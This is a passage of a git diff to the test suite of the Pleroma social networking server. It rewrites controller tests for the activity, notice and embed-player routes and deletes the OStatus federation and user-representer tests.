+ describe "GET activity/2" do
+ test "redirects to /notice/id for html format", %{conn: conn} do
+ note_activity = insert(:note_activity)
+ [_, uuid] = hd(Regex.scan(~r/.+\/([\w-]+)$/, note_activity.data["id"]))
- assert response(conn, 404)
- end
+ conn =
+ conn
+ |> put_req_header("accept", "text/html")
+ |> get("/activities/#{uuid}")
- test "gets an object", %{conn: conn} do
- note_activity = insert(:note_activity)
- object = Object.normalize(note_activity)
- user = User.get_cached_by_ap_id(note_activity.data["actor"])
- [_, uuid] = hd(Regex.scan(~r/.+\/([\w-]+)$/, object.data["id"]))
- url = "/objects/#{uuid}"
+ assert redirected_to(conn) == "/notice/#{note_activity.id}"
+ end
+
+ test "404s on private activities", %{conn: conn} do
+ note_activity = insert(:direct_note_activity)
+ [_, uuid] = hd(Regex.scan(~r/.+\/([\w-]+)$/, note_activity.data["id"]))
- conn =
conn
- |> put_req_header("accept", "application/xml")
- |> get(url)
+ |> get("/activities/#{uuid}")
+ |> response(404)
+ end
- expected =
- ActivityRepresenter.to_simple_form(note_activity, user, true)
- |> ActivityRepresenter.wrap_with_entry()
- |> :xmerl.export_simple(:xmerl_xml)
- |> to_string
+ test "404s on nonexistent activities", %{conn: conn} do
+ conn
+ |> get("/activities/123")
+ |> response(404)
+ end
- assert response(conn, 200) == expected
- end
+ test "gets an activity in AS2 format", %{conn: conn} do
+ note_activity = insert(:note_activity)
+ [_, uuid] = hd(Regex.scan(~r/.+\/([\w-]+)$/, note_activity.data["id"]))
+ url = "/activities/#{uuid}"
- test "404s on private objects", %{conn: conn} do
- note_activity = insert(:direct_note_activity)
- object = Object.normalize(note_activity)
- [_, uuid] = hd(Regex.scan(~r/.+\/([\w-]+)$/, object.data["id"]))
+ conn =
+ conn
+ |> put_req_header("accept", "application/activity+json")
+ |> get(url)
- conn
- |> get("/objects/#{uuid}")
- |> response(404)
+ assert json_response(conn, 200)
+ end
end
- test "404s on nonexisting objects", %{conn: conn} do
- conn
- |> get("/objects/123")
- |> response(404)
- end
+ describe "GET notice/2" do
+ test "redirects to a proper object URL when json requested and the object is local", %{
+ conn: conn
+ } do
+ note_activity = insert(:note_activity)
+ expected_redirect_url = Object.normalize(note_activity).data["id"]
- test "gets an activity in xml format", %{conn: conn} do
- note_activity = insert(:note_activity)
- [_, uuid] = hd(Regex.scan(~r/.+\/([\w-]+)$/, note_activity.data["id"]))
+ redirect_url =
+ conn
+ |> put_req_header("accept", "application/activity+json")
+ |> get("/notice/#{note_activity.id}")
+ |> redirected_to()
- conn
- |> put_req_header("accept", "application/xml")
- |> get("/activities/#{uuid}")
- |> response(200)
- end
+ assert redirect_url == expected_redirect_url
+ end
- test "404s on deleted objects", %{conn: conn} do
- note_activity = insert(:note_activity)
- object = Object.normalize(note_activity)
- [_, uuid] = hd(Regex.scan(~r/.+\/([\w-]+)$/, object.data["id"]))
+ test "returns a 404 on remote notice when json requested", %{conn: conn} do
+ note_activity = insert(:note_activity, local: false)
- conn
- |> put_req_header("accept", "application/xml")
- |> get("/objects/#{uuid}")
- |> response(200)
+ conn
+ |> put_req_header("accept", "application/activity+json")
+ |> get("/notice/#{note_activity.id}")
+ |> response(404)
+ end
- Object.delete(object)
+ test "500s when actor not found", %{conn: conn} do
+ note_activity = insert(:note_activity)
+ user = User.get_cached_by_ap_id(note_activity.data["actor"])
+ User.invalidate_cache(user)
+ Pleroma.Repo.delete(user)
- conn
- |> put_req_header("accept", "application/xml")
- |> get("/objects/#{uuid}")
- |> response(404)
- end
+ conn =
+ conn
+ |> get("/notice/#{note_activity.id}")
- test "404s on private activities", %{conn: conn} do
- note_activity = insert(:direct_note_activity)
- [_, uuid] = hd(Regex.scan(~r/.+\/([\w-]+)$/, note_activity.data["id"]))
+ assert response(conn, 500) == ~S({"error":"Something went wrong"})
+ end
- conn
- |> get("/activities/#{uuid}")
- |> response(404)
- end
+ test "render html for redirect for html format", %{conn: conn} do
+ note_activity = insert(:note_activity)
- test "404s on nonexistent activities", %{conn: conn} do
- conn
- |> get("/activities/123")
- |> response(404)
- end
+ resp =
+ conn
+ |> put_req_header("accept", "text/html")
+ |> get("/notice/#{note_activity.id}")
+ |> response(200)
- test "gets a notice in xml format", %{conn: conn} do
- note_activity = insert(:note_activity)
+ assert resp =~
+ "<meta content=\"#{Pleroma.Web.base_url()}/notice/#{note_activity.id}\" property=\"og:url\">"
- conn
- |> get("/notice/#{note_activity.id}")
- |> response(200)
- end
+ user = insert(:user)
- test "gets a notice in AS2 format", %{conn: conn} do
- note_activity = insert(:note_activity)
+ {:ok, like_activity, _} = CommonAPI.favorite(note_activity.id, user)
- conn
- |> put_req_header("accept", "application/activity+json")
- |> get("/notice/#{note_activity.id}")
- |> json_response(200)
- end
+ assert like_activity.data["type"] == "Like"
- test "only gets a notice in AS2 format for Create messages", %{conn: conn} do
- note_activity = insert(:note_activity)
- url = "/notice/#{note_activity.id}"
+ resp =
+ conn
+ |> put_req_header("accept", "text/html")
+ |> get("/notice/#{like_activity.id}")
+ |> response(200)
- conn =
- conn
- |> put_req_header("accept", "application/activity+json")
- |> get(url)
+ assert resp =~ "<!--server-generated-meta-->"
+ end
- assert json_response(conn, 200)
+ test "404s a private notice", %{conn: conn} do
+ note_activity = insert(:direct_note_activity)
+ url = "/notice/#{note_activity.id}"
- user = insert(:user)
+ conn =
+ conn
+ |> get(url)
- {:ok, like_activity, _} = CommonAPI.favorite(note_activity.id, user)
- url = "/notice/#{like_activity.id}"
+ assert response(conn, 404)
+ end
- assert like_activity.data["type"] == "Like"
+ test "404s a nonexisting notice", %{conn: conn} do
+ url = "/notice/123"
- conn =
- build_conn()
- |> put_req_header("accept", "application/activity+json")
- |> get(url)
+ conn =
+ conn
+ |> get(url)
- assert response(conn, 404)
+ assert response(conn, 404)
+ end
end
- test "gets an activity in AS2 format", %{conn: conn} do
- note_activity = insert(:note_activity)
- [_, uuid] = hd(Regex.scan(~r/.+\/([\w-]+)$/, note_activity.data["id"]))
- url = "/activities/#{uuid}"
+ describe "GET /notice/:id/embed_player" do
+ test "render embed player", %{conn: conn} do
+ note_activity = insert(:note_activity)
+ object = Pleroma.Object.normalize(note_activity)
+
+ object_data =
+ Map.put(object.data, "attachment", [
+ %{
+ "url" => [
+ %{
+ "href" =>
+ "https://peertube.moe/static/webseed/df5f464b-be8d-46fb-ad81-2d4c2d1630e3-480.mp4",
+ "mediaType" => "video/mp4",
+ "type" => "Link"
+ }
+ ]
+ }
+ ])
+
+ object
+ |> Ecto.Changeset.change(data: object_data)
+ |> Pleroma.Repo.update()
+
+ conn =
+ conn
+ |> get("/notice/#{note_activity.id}/embed_player")
+
+ assert Plug.Conn.get_resp_header(conn, "x-frame-options") == ["ALLOW"]
+
+ assert Plug.Conn.get_resp_header(
+ conn,
+ "content-security-policy"
+ ) == [
+ "default-src 'none';style-src 'self' 'unsafe-inline';img-src 'self' data: https:; media-src 'self' https:;"
+ ]
+
+ assert response(conn, 200) =~
+ "<video controls loop><source src=\"https://peertube.moe/static/webseed/df5f464b-be8d-46fb-ad81-2d4c2d1630e3-480.mp4\" type=\"video/mp4\">Your browser does not support video/mp4 playback.</video>"
+ end
- conn =
- conn
- |> put_req_header("accept", "application/activity+json")
- |> get(url)
+ test "404s when activity isn't create", %{conn: conn} do
+ note_activity = insert(:note_activity, data_attrs: %{"type" => "Like"})
- assert json_response(conn, 200)
- end
+ assert conn
+ |> get("/notice/#{note_activity.id}/embed_player")
+ |> response(404)
+ end
- test "404s a private notice", %{conn: conn} do
- note_activity = insert(:direct_note_activity)
- url = "/notice/#{note_activity.id}"
+ test "404s when activity is direct message", %{conn: conn} do
+ note_activity = insert(:note_activity, data_attrs: %{"directMessage" => true})
- conn =
- conn
- |> get(url)
+ assert conn
+ |> get("/notice/#{note_activity.id}/embed_player")
+ |> response(404)
+ end
- assert response(conn, 404)
- end
+ test "404s when attachment is empty", %{conn: conn} do
+ note_activity = insert(:note_activity)
+ object = Pleroma.Object.normalize(note_activity)
+ object_data = Map.put(object.data, "attachment", [])
- test "404s a nonexisting notice", %{conn: conn} do
- url = "/notice/123"
+ object
+ |> Ecto.Changeset.change(data: object_data)
+ |> Pleroma.Repo.update()
- conn =
- conn
- |> get(url)
+ assert conn
+ |> get("/notice/#{note_activity.id}/embed_player")
+ |> response(404)
+ end
- assert response(conn, 404)
+ test "404s when attachment isn't audio or video", %{conn: conn} do
+ note_activity = insert(:note_activity)
+ object = Pleroma.Object.normalize(note_activity)
+
+ object_data =
+ Map.put(object.data, "attachment", [
+ %{
+ "url" => [
+ %{
+ "href" => "https://peertube.moe/static/webseed/480.jpg",
+ "mediaType" => "image/jpg",
+ "type" => "Link"
+ }
+ ]
+ }
+ ])
+
+ object
+ |> Ecto.Changeset.change(data: object_data)
+ |> Pleroma.Repo.update()
+
+ assert conn
+ |> get("/notice/#{note_activity.id}/embed_player")
+ |> response(404)
+ end
end
end
diff --git a/test/web/ostatus/ostatus_test.exs b/test/web/ostatus/ostatus_test.exs
deleted file mode 100644
index 4e8f3a0fc..000000000
--- a/test/web/ostatus/ostatus_test.exs
+++ /dev/null
@@ -1,581 +0,0 @@
-# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
-# SPDX-License-Identifier: AGPL-3.0-only
-
-defmodule Pleroma.Web.OStatusTest do
- use Pleroma.DataCase
- alias Pleroma.Activity
- alias Pleroma.Instances
- alias Pleroma.Object
- alias Pleroma.Repo
- alias Pleroma.User
- alias Pleroma.Web.OStatus
- alias Pleroma.Web.XML
-
- import ExUnit.CaptureLog
- import Mock
- import Pleroma.Factory
-
- setup_all do
- Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
- :ok
- end
-
- test "don't insert create notes twice" do
- incoming = File.read!("test/fixtures/incoming_note_activity.xml")
- {:ok, [activity]} = OStatus.handle_incoming(incoming)
- assert {:ok, [activity]} == OStatus.handle_incoming(incoming)
- end
-
- test "handle incoming note - GS, Salmon" do
- incoming = File.read!("test/fixtures/incoming_note_activity.xml")
- {:ok, [activity]} = OStatus.handle_incoming(incoming)
- object = Object.normalize(activity)
-
- user = User.get_cached_by_ap_id(activity.data["actor"])
- assert user.info.note_count == 1
- assert activity.data["type"] == "Create"
- assert object.data["type"] == "Note"
-
- assert object.data["id"] == "tag:gs.example.org:4040,2017-04-23:noticeId=29:objectType=note"
-
- assert activity.data["published"] == "2017-04-23T14:51:03+00:00"
- assert object.data["published"] == "2017-04-23T14:51:03+00:00"
-
- assert activity.data["context"] ==
- "tag:gs.example.org:4040,2017-04-23:objectType=thread:nonce=f09e22f58abd5c7b"
-
- assert "http://pleroma.example.org:4000/users/lain3" in activity.data["to"]
- assert object.data["emoji"] == %{"marko" => "marko.png", "reimu" => "reimu.png"}
- assert activity.local == false
- end
-
- test "handle incoming notes - GS, subscription" do
- incoming = File.read!("test/fixtures/ostatus_incoming_post.xml")
- {:ok, [activity]} = OStatus.handle_incoming(incoming)
- object = Object.normalize(activity)
-
- assert activity.data["type"] == "Create"
- assert object.data["type"] == "Note"
- assert object.data["actor"] == "https://social.heldscal.la/user/23211"
- assert object.data["content"] == "Will it blend?"
- user = User.get_cached_by_ap_id(activity.data["actor"])
- assert User.ap_followers(user) in activity.data["to"]
- assert "https://www.w3.org/ns/activitystreams#Public" in activity.data["to"]
- end
-
- test "handle incoming notes with attachments - GS, subscription" do
- incoming = File.read!("test/fixtures/incoming_websub_gnusocial_attachments.xml")
- {:ok, [activity]} = OStatus.handle_incoming(incoming)
- object = Object.normalize(activity)
-
- assert activity.data["type"] == "Create"
- assert object.data["type"] == "Note"
- assert object.data["actor"] == "https://social.heldscal.la/user/23211"
- assert object.data["attachment"] |> length == 2
- assert object.data["external_url"] == "https://social.heldscal.la/notice/2020923"
- assert "https://www.w3.org/ns/activitystreams#Public" in activity.data["to"]
- end
-
- test "handle incoming notes with tags" do
- incoming = File.read!("test/fixtures/ostatus_incoming_post_tag.xml")
- {:ok, [activity]} = OStatus.handle_incoming(incoming)
- object = Object.normalize(activity)
-
- assert object.data["tag"] == ["nsfw"]
- assert "https://www.w3.org/ns/activitystreams#Public" in activity.data["to"]
- end
-
- test "handle incoming notes - Mastodon, salmon, reply" do
- # It uses the context of the replied to object
- Repo.insert!(%Object{
- data: %{
- "id" => "https://pleroma.soykaf.com/objects/c237d966-ac75-4fe3-a87a-d89d71a3a7a4",
- "context" => "2hu"
- }
- })
-
- incoming = File.read!("test/fixtures/incoming_reply_mastodon.xml")
- {:ok, [activity]} = OStatus.handle_incoming(incoming)
- object = Object.normalize(activity)
-
- assert activity.data["type"] == "Create"
- assert object.data["type"] == "Note"
- assert object.data["actor"] == "https://mastodon.social/users/lambadalambda"
- assert activity.data["context"] == "2hu"
- assert "https://www.w3.org/ns/activitystreams#Public" in activity.data["to"]
- end
-
- test "handle incoming notes - Mastodon, with CW" do
- incoming = File.read!("test/fixtures/mastodon-note-cw.xml")
- {:ok, [activity]} = OStatus.handle_incoming(incoming)
- object = Object.normalize(activity)
-
- assert activity.data["type"] == "Create"
- assert object.data["type"] == "Note"
- assert object.data["actor"] == "https://mastodon.social/users/lambadalambda"
- assert object.data["summary"] == "technologic"
- assert "https://www.w3.org/ns/activitystreams#Public" in activity.data["to"]
- end
-
- test "handle incoming unlisted messages, put public into cc" do
- incoming = File.read!("test/fixtures/mastodon-note-unlisted.xml")
- {:ok, [activity]} = OStatus.handle_incoming(incoming)
- object = Object.normalize(activity)
-
- refute "https://www.w3.org/ns/activitystreams#Public" in activity.data["to"]
- assert "https://www.w3.org/ns/activitystreams#Public" in activity.data["cc"]
- refute "https://www.w3.org/ns/activitystreams#Public" in object.data["to"]
- assert "https://www.w3.org/ns/activitystreams#Public" in object.data["cc"]
- end
-
- test "handle incoming retweets - Mastodon, with CW" do
- incoming = File.read!("test/fixtures/cw_retweet.xml")
- {:ok, [[_activity, retweeted_activity]]} = OStatus.handle_incoming(incoming)
- retweeted_object = Object.normalize(retweeted_activity)
-
- assert retweeted_object.data["summary"] == "Hey."
- end
-
- test "handle incoming notes - GS, subscription, reply" do
- incoming = File.read!("test/fixtures/ostatus_incoming_reply.xml")
- {:ok, [activity]} = OStatus.handle_incoming(incoming)
- object = Object.normalize(activity)
-
- assert activity.data["type"] == "Create"
- assert object.data["type"] == "Note"
- assert object.data["actor"] == "https://social.heldscal.la/user/23211"
-
- assert object.data["content"] ==
- "@<a href=\"https://gs.archae.me/user/4687\" class=\"h-card u-url p-nickname mention\" title=\"shpbot\">shpbot</a> why not indeed."
-
- assert object.data["inReplyTo"] ==
- "tag:gs.archae.me,2017-04-30:noticeId=778260:objectType=note"
-
- assert "https://www.w3.org/ns/activitystreams#Public" in activity.data["to"]
- end
-
- test "handle incoming retweets - GS, subscription" do
- incoming = File.read!("test/fixtures/share-gs.xml")
- {:ok, [[activity, retweeted_activity]]} = OStatus.handle_incoming(incoming)
-
- assert activity.data["type"] == "Announce"
- assert activity.data["actor"] == "https://social.heldscal.la/user/23211"
- assert activity.data["object"] == retweeted_activity.data["object"]
- assert "https://pleroma.soykaf.com/users/lain" in activity.data["to"]
- refute activity.local
-
- retweeted_activity = Activity.get_by_id(retweeted_activity.id)
- retweeted_object = Object.normalize(retweeted_activity)
- assert retweeted_activity.data["type"] == "Create"
- assert retweeted_activity.data["actor"] == "https://pleroma.soykaf.com/users/lain"
- refute retweeted_activity.local
- assert retweeted_object.data["announcement_count"] == 1
- assert String.contains?(retweeted_object.data["content"], "mastodon")
- refute String.contains?(retweeted_object.data["content"], "Test account")
- end
-
- test "handle incoming retweets - GS, subscription - local message" do
- incoming = File.read!("test/fixtures/share-gs-local.xml")
- note_activity = insert(:note_activity)
- object = Object.normalize(note_activity)
- user = User.get_cached_by_ap_id(note_activity.data["actor"])
-
- incoming =
- incoming
- |> String.replace("LOCAL_ID", object.data["id"])
- |> String.replace("LOCAL_USER", user.ap_id)
-
- {:ok, [[activity, retweeted_activity]]} = OStatus.handle_incoming(incoming)
-
- assert activity.data["type"] == "Announce"
- assert activity.data["actor"] == "https://social.heldscal.la/user/23211"
- assert activity.data["object"] == object.data["id"]
- assert user.ap_id in activity.data["to"]
- refute activity.local
-
- retweeted_activity = Activity.get_by_id(retweeted_activity.id)
- assert note_activity.id == retweeted_activity.id
- assert retweeted_activity.data["type"] == "Create"
- assert retweeted_activity.data["actor"] == user.ap_id
- assert retweeted_activity.local
- assert retweeted_activity.data["object"]["announcement_count"] == 1
- end
-
- test "handle incoming retweets - Mastodon, salmon" do
- incoming = File.read!("test/fixtures/share.xml")
- {:ok, [[activity, retweeted_activity]]} = OStatus.handle_incoming(incoming)
- retweeted_object = Object.normalize(retweeted_activity)
-
- assert activity.data["type"] == "Announce"
- assert activity.data["actor"] == "https://mastodon.social/users/lambadalambda"
- assert activity.data["object"] == retweeted_activity.data["object"]
-
- assert activity.data["id"] ==
- "tag:mastodon.social,2017-05-03:objectId=4934452:objectType=Status"
-
- refute activity.local
- assert retweeted_activity.data["type"] == "Create"
- assert retweeted_activity.data["actor"] == "https://pleroma.soykaf.com/users/lain"
- refute retweeted_activity.local
- refute String.contains?(retweeted_object.data["content"], "Test account")
- end
-
- test "handle incoming favorites - GS, websub" do
- capture_log(fn ->
- incoming = File.read!("test/fixtures/favorite.xml")
- {:ok, [[activity, favorited_activity]]} = OStatus.handle_incoming(incoming)
-
- assert activity.data["type"] == "Like"
- assert activity.data["actor"] == "https://social.heldscal.la/user/23211"
- assert activity.data["object"] == favorited_activity.data["object"]
-
- assert activity.data["id"] ==
- "tag:social.heldscal.la,2017-05-05:fave:23211:comment:2061643:2017-05-05T09:12:50+00:00"
-
- refute activity.local
- assert favorited_activity.data["type"] == "Create"
- assert favorited_activity.data["actor"] == "https://shitposter.club/user/1"
-
- assert favorited_activity.data["object"] ==
- "tag:shitposter.club,2017-05-05:noticeId=2827873:objectType=comment"
-
- refute favorited_activity.local
- end)
- end
-
- test "handle conversation references" do
- incoming = File.read!("test/fixtures/mastodon_conversation.xml")
- {:ok, [activity]} = OStatus.handle_incoming(incoming)
-
- assert activity.data["context"] ==
- "tag:mastodon.social,2017-08-28:objectId=7876885:objectType=Conversation"
- end
-
- test "handle incoming favorites with locally available object - GS, websub" do
- note_activity = insert(:note_activity)
- object = Object.normalize(note_activity)
-
- incoming =
- File.read!("test/fixtures/favorite_with_local_note.xml")
- |> String.replace("localid", object.data["id"])
-
- {:ok, [[activity, favorited_activity]]} = OStatus.handle_incoming(incoming)
-
- assert activity.data["type"] == "Like"
- assert activity.data["actor"] == "https://social.heldscal.la/user/23211"
- assert activity.data["object"] == object.data["id"]
- refute activity.local
- assert note_activity.id == favorited_activity.id
- assert favorited_activity.local
- end
-
- test_with_mock "handle incoming replies, fetching replied-to activities if we don't have them",
- OStatus,
- [:passthrough],
- [] do
- incoming = File.read!("test/fixtures/incoming_note_activity_answer.xml")
- {:ok, [activity]} = OStatus.handle_incoming(incoming)
- object = Object.normalize(activity, false)
-
- assert activity.data["type"] == "Create"
- assert object.data["type"] == "Note"
-
- assert object.data["inReplyTo"] ==
- "http://pleroma.example.org:4000/objects/55bce8fc-b423-46b1-af71-3759ab4670bc"
-
- assert "http://pleroma.example.org:4000/users/lain5" in activity.data["to"]
-
- assert object.data["id"] == "tag:gs.example.org:4040,2017-04-25:noticeId=55:objectType=note"
-
- assert "https://www.w3.org/ns/activitystreams#Public" in activity.data["to"]
-
- assert called(OStatus.fetch_activity_from_url(object.data["inReplyTo"], :_))
- end
-
- test_with_mock "handle incoming replies, not fetching replied-to activities beyond max_replies_depth",
- OStatus,
- [:passthrough],
- [] do
- incoming = File.read!("test/fixtures/incoming_note_activity_answer.xml")
-
- with_mock Pleroma.Web.Federator,
- allowed_incoming_reply_depth?: fn _ -> false end do
- {:ok, [activity]} = OStatus.handle_incoming(incoming)
- object = Object.normalize(activity, false)
-
- refute called(OStatus.fetch_activity_from_url(object.data["inReplyTo"], :_))
- end
- end
-
- test "handle incoming follows" do
- incoming = File.read!("test/fixtures/follow.xml")
- {:ok, [activity]} = OStatus.handle_incoming(incoming)
- assert activity.data["type"] == "Follow"
-
- assert activity.data["id"] ==
- "tag:social.heldscal.la,2017-05-07:subscription:23211:person:44803:2017-05-07T09:54:48+00:00"
-
- assert activity.data["actor"] == "https://social.heldscal.la/user/23211"
- assert activity.data["object"] == "https://pawoo.net/users/pekorino"
- refute activity.local
-
- follower = User.get_cached_by_ap_id(activity.data["actor"])
- followed = User.get_cached_by_ap_id(activity.data["object"])
-
- assert User.following?(follower, followed)
- end
-
- test "handle incoming unfollows with existing follow" do
- incoming_follow = File.read!("test/fixtures/follow.xml")
- {:ok, [_activity]} = OStatus.handle_incoming(incoming_follow)
-
- incoming = File.read!("test/fixtures/unfollow.xml")
- {:ok, [activity]} = OStatus.handle_incoming(incoming)
-
- assert activity.data["type"] == "Undo"
-
- assert activity.data["id"] ==
- "undo:tag:social.heldscal.la,2017-05-07:subscription:23211:person:44803:2017-05-07T09:54:48+00:00"
-
- assert activity.data["actor"] == "https://social.heldscal.la/user/23211"
- embedded_object = activity.data["object"]
- assert is_map(embedded_object)
- assert embedded_object["type"] == "Follow"
- assert embedded_object["object"] == "https://pawoo.net/users/pekorino"
- refute activity.local
-
- follower = User.get_cached_by_ap_id(activity.data["actor"])
- followed = User.get_cached_by_ap_id(embedded_object["object"])
-
- refute User.following?(follower, followed)
- end
-
- test "it clears `unreachable` federation status of the sender" do
- incoming_reaction_xml = File.read!("test/fixtures/share-gs.xml")
- doc = XML.parse_document(incoming_reaction_xml)
- actor_uri = XML.string_from_xpath("//author/uri[1]", doc)
- reacted_to_author_uri = XML.string_from_xpath("//author/uri[2]", doc)
-
- Instances.set_consistently_unreachable(actor_uri)
- Instances.set_consistently_unreachable(reacted_to_author_uri)
- refute Instances.reachable?(actor_uri)
- refute Instances.reachable?(reacted_to_author_uri)
-
- {:ok, _} = OStatus.handle_incoming(incoming_reaction_xml)
- assert Instances.reachable?(actor_uri)
- refute Instances.reachable?(reacted_to_author_uri)
- end
-
- describe "new remote user creation" do
- test "returns local users" do
- local_user = insert(:user)
- {:ok, user} = OStatus.find_or_make_user(local_user.ap_id)
-
- assert user == local_user
- end
-
- test "tries to use the information in poco fields" do
- uri = "https://social.heldscal.la/user/23211"
-
- {:ok, user} = OStatus.find_or_make_user(uri)
-
- user = User.get_cached_by_id(user.id)
- assert user.name == "Constance Variable"
- assert user.nickname == "lambadalambda@social.heldscal.la"
- assert user.local == false
- assert user.info.uri == uri
- assert user.ap_id == uri
- assert user.bio == "Call me Deacon Blues."
- assert user.avatar["type"] == "Image"
-
- {:ok, user_again} = OStatus.find_or_make_user(uri)
-
- assert user == user_again
- end
-
- test "find_or_make_user sets all the nessary input fields" do
- uri = "https://social.heldscal.la/user/23211"
- {:ok, user} = OStatus.find_or_make_user(uri)
-
- assert user.info ==
- %User.Info{
- id: user.info.id,
- ap_enabled: false,
- background: %{},
- banner: %{},
- blocks: [],
- deactivated: false,
- default_scope: "public",
- domain_blocks: [],
- follower_count: 0,
- is_admin: false,
- is_moderator: false,
- keys: nil,
- locked: false,
- no_rich_text: false,
- note_count: 0,
- settings: nil,
- source_data: %{},
- hub: "https://social.heldscal.la/main/push/hub",
- magic_key:
- "RSA.uzg6r1peZU0vXGADWxGJ0PE34WvmhjUmydbX5YYdOiXfODVLwCMi1umGoqUDm-mRu4vNEdFBVJU1CpFA7dKzWgIsqsa501i2XqElmEveXRLvNRWFB6nG03Q5OUY2as8eE54BJm0p20GkMfIJGwP6TSFb-ICp3QjzbatuSPJ6xCE=.AQAB",
- salmon: "https://social.heldscal.la/main/salmon/user/23211",
- topic: "https://social.heldscal.la/api/statuses/user_timeline/23211.atom",
- uri: "https://social.heldscal.la/user/23211"
- }
- end
-
- test "find_make_or_update_user takes an author element and returns an updated user" do
- uri = "https://social.heldscal.la/user/23211"
-
- {:ok, user} = OStatus.find_or_make_user(uri)
- old_name = user.name
- old_bio = user.bio
- change = Ecto.Changeset.change(user, %{avatar: nil, bio: nil, name: nil})
-
- {:ok, user} = Repo.update(change)
- refute user.avatar
-
- doc = XML.parse_document(File.read!("test/fixtures/23211.atom"))
- [author] = :xmerl_xpath.string('//author[1]', doc)
- {:ok, user} = OStatus.find_make_or_update_user(author)
- assert user.avatar["type"] == "Image"
- assert user.name == old_name
- assert user.bio == old_bio
-
- {:ok, user_again} = OStatus.find_make_or_update_user(author)
- assert user_again == user
- end
- end
-
- describe "gathering user info from a user id" do
- test "it returns user info in a hash" do
- user = "shp@social.heldscal.la"
-
- # TODO: make test local
- {:ok, data} = OStatus.gather_user_info(user)
-
- expected = %{
- "hub" => "https://social.heldscal.la/main/push/hub",
- "magic_key" =>
- "RSA.wQ3i9UA0qmAxZ0WTIp4a-waZn_17Ez1pEEmqmqoooRsG1_BvpmOvLN0G2tEcWWxl2KOtdQMCiPptmQObeZeuj48mdsDZ4ArQinexY2hCCTcbV8Xpswpkb8K05RcKipdg07pnI7tAgQ0VWSZDImncL6YUGlG5YN8b5TjGOwk2VG8=.AQAB",
- "name" => "shp",
- "nickname" => "shp",
- "salmon" => "https://social.heldscal.la/main/salmon/user/29191",
- "subject" => "acct:shp@social.heldscal.la",
- "topic" => "https://social.heldscal.la/api/statuses/user_timeline/29191.atom",
- "uri" => "https://social.heldscal.la/user/29191",
- "host" => "social.heldscal.la",
- "fqn" => user,
- "bio" => "cofe",
- "avatar" => %{
- "type" => "Image",
- "url" => [
- %{
- "href" => "https://social.heldscal.la/avatar/29191-original-20170421154949.jpeg",
- "mediaType" => "image/jpeg",
- "type" => "Link"
- }
- ]
- },
- "subscribe_address" => "https://social.heldscal.la/main/ostatussub?profile={uri}",
- "ap_id" => nil
- }
-
- assert data == expected
- end
-
- test "it works with the uri" do
- user = "https://social.heldscal.la/user/29191"
-
- # TODO: make test local
- {:ok, data} = OStatus.gather_user_info(user)
-
- expected = %{
- "hub" => "https://social.heldscal.la/main/push/hub",
- "magic_key" =>
- "RSA.wQ3i9UA0qmAxZ0WTIp4a-waZn_17Ez1pEEmqmqoooRsG1_BvpmOvLN0G2tEcWWxl2KOtdQMCiPptmQObeZeuj48mdsDZ4ArQinexY2hCCTcbV8Xpswpkb8K05RcKipdg07pnI7tAgQ0VWSZDImncL6YUGlG5YN8b5TjGOwk2VG8=.AQAB",
- "name" => "shp",
- "nickname" => "shp",
- "salmon" => "https://social.heldscal.la/main/salmon/user/29191",
- "subject" => "https://social.heldscal.la/user/29191",
- "topic" => "https://social.heldscal.la/api/statuses/user_timeline/29191.atom",
- "uri" => "https://social.heldscal.la/user/29191",
- "host" => "social.heldscal.la",
- "fqn" => user,
- "bio" => "cofe",
- "avatar" => %{
- "type" => "Image",
- "url" => [
- %{
- "href" => "https://social.heldscal.la/avatar/29191-original-20170421154949.jpeg",
- "mediaType" => "image/jpeg",
- "type" => "Link"
- }
- ]
- },
- "subscribe_address" => "https://social.heldscal.la/main/ostatussub?profile={uri}",
- "ap_id" => nil
- }
-
- assert data == expected
- end
- end
-
- describe "fetching a status by it's HTML url" do
- test "it builds a missing status from an html url" do
- capture_log(fn ->
- url = "https://shitposter.club/notice/2827873"
- {:ok, [activity]} = OStatus.fetch_activity_from_url(url)
-
- assert activity.data["actor"] == "https://shitposter.club/user/1"
-
- assert activity.data["object"] ==
- "tag:shitposter.club,2017-05-05:noticeId=2827873:objectType=comment"
- end)
- end
-
- test "it works for atom notes, too" do
- url = "https://social.sakamoto.gq/objects/0ccc1a2c-66b0-4305-b23a-7f7f2b040056"
- {:ok, [activity]} = OStatus.fetch_activity_from_url(url)
- assert activity.data["actor"] == "https://social.sakamoto.gq/users/eal"
- assert activity.data["object"] == url
- end
- end
-
- test "it doesn't add nil in the to field" do
- incoming = File.read!("test/fixtures/nil_mention_entry.xml")
- {:ok, [activity]} = OStatus.handle_incoming(incoming)
-
- assert activity.data["to"] == [
- "http://localhost:4001/users/atarifrosch@social.stopwatchingus-heidelberg.de/followers",
- "https://www.w3.org/ns/activitystreams#Public"
- ]
- end
-
- describe "is_representable?" do
- test "Note objects are representable" do
- note_activity = insert(:note_activity)
-
- assert OStatus.is_representable?(note_activity)
- end
-
- test "Article objects are not representable" do
- note_activity = insert(:note_activity)
- note_object = Object.normalize(note_activity)
-
- note_data =
- note_object.data
- |> Map.put("type", "Article")
-
- Cachex.clear(:object_cache)
-
- cs = Object.change(note_object, %{data: note_data})
- {:ok, _article_object} = Repo.update(cs)
-
- # the underlying object is now an Article instead of a note, so this should fail
- refute OStatus.is_representable?(note_activity)
- end
- end
-end
diff --git a/test/web/ostatus/user_representer_test.exs b/test/web/ostatus/user_representer_test.exs
deleted file mode 100644
index e3863d2e9..000000000
--- a/test/web/ostatus/user_representer_test.exs
+++ /dev/null
@@ -1,38 +0,0 @@
-# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
-# SPDX-License-Identifier: AGPL-3.0-only
-
-defmodule Pleroma.Web.OStatus.UserRepresenterTest do
- use Pleroma.DataCase
- alias Pleroma.Web.OStatus.UserRepresenter
-
- import Pleroma.Factory
- alias Pleroma.User
-
- test "returns a user with id, uri, name and link" do
- user = insert(:user, %{nickname: "レイン"})
- tuple = UserRepresenter.to_simple_form(user)
-
- res = :xmerl.export_simple_content(tuple, :xmerl_xml) |> to_string
-
- expected = """
- <id>#{user.ap_id}</id>
- <activity:object>http://activitystrea.ms/schema/1.0/person</activity:object>
- <uri>#{user.ap_id}</uri>
- <poco:preferredUsername>#{user.nickname}</poco:preferredUsername>
- <poco:displayName>#{user.name}</poco:displayName>
- <poco:note>#{user.bio}</poco:note>
- <summary>#{user.bio}</summary>
- <name>#{user.nickname}</name>
